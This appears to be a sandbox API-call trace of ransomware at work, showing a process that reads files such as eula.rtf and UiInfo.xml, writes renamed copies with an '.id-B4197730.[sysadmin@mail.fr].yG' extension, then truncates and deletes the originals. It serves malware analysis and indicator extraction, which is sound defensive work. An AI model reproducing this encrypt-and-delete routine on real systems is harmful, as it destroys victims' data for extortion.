	[0043.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0043.418] GetLastError () returned 0x0
	[0043.418] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xd4b8, lpOverlapped=0x0) returned 1
	[0043.659] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xd4c0, lpOverlapped=0x0) returned 1
	[0043.660] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.660] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.660] SetEndOfFile (hFile=0x304) returned 1
	[0043.660] CloseHandle (hObject=0x304) returned 1
	[0043.662] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.662] SetEndOfFile (hFile=0x2e4) returned 1
	[0043.663] CloseHandle (hObject=0x2e4) returned 1
	[0043.663] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.663] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1
	[0043.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.664] lstrlenW (lpString=".doc") returned 4
	[0043.664] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString=".docx") returned 5
	[0043.664] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.664] lstrlenW (lpString=".pdf") returned 4
	[0043.664] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString=".xls") returned 4
	[0043.664] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.664] lstrlenW (lpString=".xlsx") returned 5
	[0043.664] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.664] lstrlenW (lpString=".ppt") returned 4
	[0043.664] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.664] lstrlenW (lpString=".zip") returned 4
	[0043.664] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.664] lstrlenW (lpString=".rar") returned 4
	[0043.664] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString=".bz2") returned 4
	[0043.664] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString=".7z") returned 3
	[0043.664] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.664] lstrlenW (lpString=".dbf") returned 4
	[0043.664] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.664] lstrlenW (lpString=".1cd") returned 4
	[0043.664] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString=".jpg") returned 4
	[0043.665] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString=".doc") returned 4
	[0043.665] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString=".docx") returned 5
	[0043.665] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.665] lstrlenW (lpString=".pdf") returned 4
	[0043.665] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString=".xls") returned 4
	[0043.665] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.665] lstrlenW (lpString=".xlsx") returned 5
	[0043.665] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.665] lstrlenW (lpString=".ppt") returned 4
	[0043.665] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString=".zip") returned 4
	[0043.665] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.665] lstrlenW (lpString=".rar") returned 4
	[0043.665] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString=".bz2") returned 4
	[0043.665] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString=".7z") returned 3
	[0043.665] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString=".dbf") returned 4
	[0043.665] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString=".1cd") returned 4
	[0043.665] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35
	[0043.665] lstrlenW (lpString=".jpg") returned 4
	[0043.665] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.666] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.666] lstrlenW (lpString="eula.rtf") returned 8
	[0043.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.666] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3859) returned 1
	[0043.666] CloseHandle (hObject=0x2e4) returned 1
	[0043.666] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80
	[0043.666] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0043.666] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.666] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0043.667] GetLastError () returned 0x0
	[0043.667] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xf13, lpOverlapped=0x0) returned 1
	[0044.123] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xf20, lpOverlapped=0x0) returned 1
	[0044.124] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.124] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0044.124] SetEndOfFile (hFile=0x304) returned 1
	[0044.124] CloseHandle (hObject=0x304) returned 1
	[0044.125] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.125] SetEndOfFile (hFile=0x2e4) returned 1
	[0044.125] CloseHandle (hObject=0x2e4) returned 1
	[0044.125] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.126] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1
	[0044.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.126] lstrlenW (lpString=".doc") returned 4
	[0044.126] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.126] lstrlenW (lpString=".docx") returned 5
	[0044.126] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.126] lstrlenW (lpString=".pdf") returned 4
	[0044.126] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.126] lstrlenW (lpString=".xls") returned 4
	[0044.126] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.126] lstrlenW (lpString=".xlsx") returned 5
	[0044.126] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.126] lstrlenW (lpString=".ppt") returned 4
	[0044.126] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.126] lstrlenW (lpString=".zip") returned 4
	[0044.126] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.126] lstrlenW (lpString=".rar") returned 4
	[0044.126] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.126] lstrlenW (lpString=".bz2") returned 4
	[0044.126] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.126] lstrlenW (lpString=".7z") returned 3
	[0044.126] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".dbf") returned 4
	[0044.127] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".1cd") returned 4
	[0044.127] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".jpg") returned 4
	[0044.127] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".doc") returned 4
	[0044.127] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString=".docx") returned 5
	[0044.127] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.127] lstrlenW (lpString=".pdf") returned 4
	[0044.127] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString=".xls") returned 4
	[0044.127] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.127] lstrlenW (lpString=".xlsx") returned 5
	[0044.127] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.127] lstrlenW (lpString=".ppt") returned 4
	[0044.127] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".zip") returned 4
	[0044.127] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.127] lstrlenW (lpString=".rar") returned 4
	[0044.127] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString=".bz2") returned 4
	[0044.127] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString=".7z") returned 3
	[0044.127] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".dbf") returned 4
	[0044.127] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.127] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.127] lstrlenW (lpString=".1cd") returned 4
	[0044.128] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.128] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35
	[0044.128] lstrlenW (lpString=".jpg") returned 4
	[0044.128] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.128] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0044.128] lstrlenW (lpString="eula.rtf") returned 8
	[0044.128] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.128] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6309) returned 1
	[0044.128] CloseHandle (hObject=0x2e4) returned 1
	[0044.128] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0044.128] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.128] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.128] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.128] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.128] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0044.129] GetLastError () returned 0x0
	[0044.129] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x18a5, lpOverlapped=0x0) returned 1
	[0044.237] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x18b0, lpOverlapped=0x0) returned 1
	[0044.238] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.238] WriteFile (in: hFile=0x304, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0044.238] SetEndOfFile (hFile=0x304) returned 1
	[0044.238] CloseHandle (hObject=0x304) returned 1
	[0044.239] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.239] SetEndOfFile (hFile=0x2e4) returned 1
	[0044.239] CloseHandle (hObject=0x2e4) returned 1
	[0044.240] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.240] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1
	[0044.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.240] lstrlenW (lpString=".doc") returned 4
	[0044.240] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.240] lstrlenW (lpString=".docx") returned 5
	[0044.240] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.240] lstrlenW (lpString=".pdf") returned 4
	[0044.240] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.240] lstrlenW (lpString=".xls") returned 4
	[0044.240] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.240] lstrlenW (lpString=".xlsx") returned 5
	[0044.240] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.240] lstrlenW (lpString=".ppt") returned 4
	[0044.240] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.240] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.240] lstrlenW (lpString=".zip") returned 4
	[0044.240] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.240] lstrlenW (lpString=".rar") returned 4
	[0044.241] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString=".bz2") returned 4
	[0044.241] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString=".7z") returned 3
	[0044.241] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.241] lstrlenW (lpString=".dbf") returned 4
	[0044.241] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.241] lstrlenW (lpString=".1cd") returned 4
	[0044.241] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.241] lstrlenW (lpString=".jpg") returned 4
	[0044.241] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.241] lstrlenW (lpString=".doc") returned 4
	[0044.241] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString=".docx") returned 5
	[0044.241] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0044.241] lstrlenW (lpString=".pdf") returned 4
	[0044.241] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString=".xls") returned 4
	[0044.241] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0044.241] lstrlenW (lpString=".xlsx") returned 5
	[0044.241] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0044.241] lstrlenW (lpString=".ppt") returned 4
	[0044.241] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.241] lstrlenW (lpString=".zip") returned 4
	[0044.241] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0044.241] lstrlenW (lpString=".rar") returned 4
	[0044.241] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0044.241] lstrlenW (lpString=".bz2") returned 4
	[0044.241] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0044.242] lstrlenW (lpString=".7z") returned 3
	[0044.242] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0044.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.242] lstrlenW (lpString=".dbf") returned 4
	[0044.242] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0044.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.242] lstrlenW (lpString=".1cd") returned 4
	[0044.242] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0044.242] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35
	[0044.242] lstrlenW (lpString=".jpg") returned 4
	[0044.242] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0044.242] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.242] lstrlenW (lpString="UiInfo.xml") returned 10
	[0044.242] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0044.255] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=39042) returned 1
	[0044.255] CloseHandle (hObject=0x350) returned 1
	[0044.255] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0044.255] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.256] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.256] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.256] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0044.351] GetLastError () returned 0x0
	[0044.352] ReadFile (in: hFile=0x300, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x9882, lpOverlapped=0x0) returned 1
	[0044.426] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0044.428] ReadFile (in: hFile=0x300, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.428] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0044.428] SetEndOfFile (hFile=0x2f4) returned 1
	[0044.428] CloseHandle (hObject=0x2f4) returned 1
	[0044.430] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.430] SetEndOfFile (hFile=0x300) returned 1
	[0044.431] CloseHandle (hObject=0x300) returned 1
	[0044.431] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
